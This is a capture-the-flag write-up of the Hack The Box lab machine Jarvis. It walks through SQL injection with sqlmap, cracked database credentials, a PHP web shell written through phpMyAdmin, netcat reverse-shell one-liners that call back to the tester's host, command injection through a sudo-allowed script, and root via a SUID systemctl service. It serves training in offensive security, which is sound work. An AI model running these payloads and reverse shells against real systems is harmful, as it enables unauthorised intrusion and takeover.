Details
This machine is Jarvis from Hack The Box
Recon
Started by looking for services
root@kali:~# nmap -sV -p- -T4 10.10.10.143
Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-14 12:06 EDT
Nmap scan report for 10.10.10.143
Host is up (0.039s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp open http Apache httpd 2.4.25 ((Debian))
64999/tcp open http Apache httpd 2.4.25 ((Debian))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 50.18 seconds
User
Started on port 80 with http://10.10.10.143
Then port 64999 at http://10.10.10.143:64999/
So back to port 80 then, I found there was a url that showed hotel rooms http://10.10.10.143/room.php?cod=3
So I ran sqlmap on it
root@kali:~# sqlmap --url http://10.10.10.143/room.php?cod=3 --level 5 --risk 3 --dbs
[SNIP]
---
Parameter: cod (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: cod=3 AND (SELECT 6146 FROM (SELECT(SLEEP(5)))boCe)
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: cod=-1603 UNION ALL SELECT NULL,NULL,CONCAT(0x7176627871,0x445973616e786d4f514d6661634f794a4550577955484e41536b59764c4152544c46664e51704965,0x71707a7171),NULL,NULL,NULL,NULL-- hdMH
---
[14:04:05] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9.0 (stretch)
web application technology: PHP, Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12
[14:04:05] [INFO] fetching database names
[14:04:05] [INFO] used SQL query returns 4 entries
[14:04:06] [INFO] retrieved: 'hotel'
[14:04:06] [INFO] retrieved: 'information_schema'
[14:04:06] [INFO] retrieved: 'mysql'
[14:04:06] [INFO] retrieved: 'performance_schema'
available databases [4]:
[*] hotel
[*] information_schema
[*] mysql
[*] performance_schema
[SNIP]
So I tried to dump the hotel database
root@kali:~# sqlmap --url http://10.10.10.143/room.php?cod=3 --level 5 --risk 3 --technique=BEUS --dump -D mysql
I let it crack any passwords it found which led to
DBadmin:imissyou
But I didn't have anywhere to use these creds yet, so I ran dirbuster
The phpmyadmin caught my attention
So I tried the creds
I then ran the following SQL query to try and backdoor the server
SELECT "<?php system($_GET['cmd']); ?>" into outfile "/var/www/html/back.php"
Which I tested at http://10.10.10.143/back.php?cmd=id
I then set a listener
root@kali:~# nc -nlvp 4444
Then used my shell to run the reverse shell payload
http://10.10.10.143/back.php?cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.35 4444 >/tmp/f
Needed to encode this, so used burp
And in the listener
connect to [10.10.14.35] from (UNKNOWN) [10.10.10.143] 34318
/bin/sh: 0: can't access tty; job control turned off
$
Upgrade the shell
$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@jarvis:/var/www/html$
And see what I can do
www-data@jarvis:/var/www/html$ sudo -l
Matching Defaults entries for www-data on jarvis:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on jarvis:
(pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py
So I took a look at the script
www-data@jarvis:/var/www/html$ cat /var/www/Admin-Utilities/simpler.py
#!/usr/bin/env python3
from datetime import datetime
import sys
import os
from os import listdir
import re
def show_help():
message='''
********************************************************
* Simpler - A simple simplifier ;) *
* Version 1.0 *
********************************************************
Usage: python3 simpler.py [options]
Options:
-h/--help : This help
-s : Statistics
-l : List the attackers IP
-p : ping an attacker IP
'''
print(message)
def show_header():
print('''***********************************************
_ _
___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | | __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
|_| |_| |___/
@ironhackers.es
***********************************************
''')
def show_statistics():
path = '/home/pepper/Web/Logs/'
print('Statistics\n-----------')
listed_files = listdir(path)
count = len(listed_files)
print('Number of Attackers: ' + str(count))
level_1 = 0
dat = datetime(1, 1, 1)
ip_list = []
reks = []
ip = ''
req = ''
rek = ''
for i in listed_files:
f = open(path + i, 'r')
lines = f.readlines()
level2, rek = get_max_level(lines)
fecha, requ = date_to_num(lines)
ip = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
if fecha > dat:
dat = fecha
req = requ
ip2 = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
if int(level2) > int(level_1):
level_1 = level2
ip_list = [ip]
reks=[rek]
elif int(level2) == int(level_1):
ip_list.append(ip)
reks.append(rek)
f.close()
print('Most Risky:')
if len(ip_list) > 1:
print('More than 1 ip found')
cont = 0
for i in ip_list:
print(' ' + i + ' - Attack Level : ' + level_1 + ' Request: ' + reks[cont])
cont = cont + 1
print('Most Recent: ' + ip2 + ' --> ' + str(dat) + ' ' + req)
def list_ip():
print('Attackers\n-----------')
path = '/home/pepper/Web/Logs/'
listed_files = listdir(path)
for i in listed_files:
f = open(path + i,'r')
lines = f.readlines()
level,req = get_max_level(lines)
print(i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3] + ' - Attack Level : ' + level)
f.close()
def date_to_num(lines):
dat = datetime(1,1,1)
ip = ''
req=''
for i in lines:
if 'Level' in i:
fecha=(i.split(' ')[6] + ' ' + i.split(' ')[7]).split('\n')[0]
regex = '(\d+)-(.*)-(\d+)(.*)'
logEx=re.match(regex, fecha).groups()
mes = to_dict(logEx[1])
fecha = logEx[0] + '-' + mes + '-' + logEx[2] + ' ' + logEx[3]
fecha = datetime.strptime(fecha, '%Y-%m-%d %H:%M:%S')
if fecha > dat:
dat = fecha
req = i.split(' ')[8] + ' ' + i.split(' ')[9] + ' ' + i.split(' ')[10]
return dat, req
def to_dict(name):
month_dict = {'Jan':'01','Feb':'02','Mar':'03','Apr':'04', 'May':'05', 'Jun':'06','Jul':'07','Aug':'08','Sep':'09','Oct':'10','Nov':'11','Dec':'12'}
return month_dict[name]
def get_max_level(lines):
level=0
for j in lines:
if 'Level' in j:
if int(j.split(' ')[4]) > int(level):
level = j.split(' ')[4]
req=j.split(' ')[8] + ' ' + j.split(' ')[9] + ' ' + j.split(' ')[10]
return level, req
def exec_ping():
forbidden = ['&', ';', '-', '`', '||', '|']
command = input('Enter an IP: ')
for i in forbidden:
if i in command:
print('Got you')
exit()
os.system('ping ' + command)
if __name__ == '__main__':
show_header()
if len(sys.argv) != 2:
show_help()
exit()
if sys.argv[1] == '-h' or sys.argv[1] == '--help':
show_help()
exit()
elif sys.argv[1] == '-s':
show_statistics()
exit()
elif sys.argv[1] == '-l':
list_ip()
exit()
elif sys.argv[1] == '-p':
exec_ping()
exit()
else:
show_help()
exit()
It fails to escape $
, (
, or )
so I can do some command injection. I wrote a script to priv esc
www-data@jarvis:/var/www/html$ cd /tmp
www-data@jarvis:/tmp$ echo "/bin/sh" > exe.sh
www-data@jarvis:/tmp$ chmod +x exe.sh
And do the injection
www-data@jarvis:/tmp$ sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
***********************************************
_ _
___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | | __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
|_| |_| |___/
@ironhackers.es
***********************************************
Enter an IP:
$(/tmp/exe.sh)
Which didn't work. So I tried a different method, instead having it run a shell for me
www-data@jarvis:/tmp$ echo "rm /tmp/t;mkfifo /tmp/t;cat /tmp/t|/bin/sh -i 2>&1|nc 10.10.14.35 8888 >/tmp/t" > /tmp/rev
I need a listener
root@kali:~# nc -nlvp 8888
Run the trigger
www-data@jarvis:/tmp$ sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
$(/tmp/rev)
And in the listener
connect to [10.10.14.35] from (UNKNOWN) [10.10.10.143] 60054
$
I upgraded my second shell
$ python -c "import pty;pty.spawn('/bin/bash')"
pepper@jarvis:/tmp$
And collected my flag
pepper@jarvis:/tmp$ cd /home/pepper
pepper@jarvis:~$ cat user.txt
[REDACTED]
Root
Took a bit of a look around
pepper@jarvis:/tmp$ find / -perm -u=s 2>/dev/null
[SNIP]
/bin/systemctl
[SNIP]
I can create a service and use systemctl to start it as root. I reused my listener on port 4444
pepper@jarvis:/tmp$ TF=$(mktemp).service
pepper@jarvis:/tmp$ echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.35 4444 >/tmp/f"
[Install]
WantedBy=multi-user.target' > $TF
pepper@jarvis:/tmp$ /bin/systemctl link $TF
pepper@jarvis:/tmp$ /bin/systemctl enable --now $TF
And in the listener
connect to [10.10.14.35] from (UNKNOWN) [10.10.10.143] 52774
/bin/sh: 0: can't access tty; job control turned off
#
I could now grab the root flag
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls -la
drwx------ 6 root root 4096 Mar 5 10:24 .
drwxr-xr-x 23 root root 4096 Mar 3 22:52 ..
lrwxrwxrwx 1 root root 9 Mar 4 08:14 .bash_history -> /dev/null
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
drwxr-xr-x 4 root root 4096 Mar 3 22:21 .cache
-rwxr--r-- 1 root root 42 Mar 4 11:37 clean.sh
drwxr-xr-x 3 root root 4096 Mar 3 17:45 .config
drwxr-xr-x 3 root root 4096 Mar 3 17:45 .local
lrwxrwxrwx 1 root root 9 Mar 4 08:15 .mysql_history -> /dev/null
drwxr-xr-x 2 root root 4096 Mar 2 10:13 .nano
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
lrwxrwxrwx 1 root root 9 Mar 4 08:15 .python_history -> /dev/null
-r-------- 1 root root 33 Mar 5 10:24 root.txt
-rw-r--r-- 1 root root 66 Mar 4 08:20 .selected_editor
-rwxr-xr-x 1 root root 5271 Mar 5 07:00 sqli_defender.py
# cat root.txt
[REDACTED]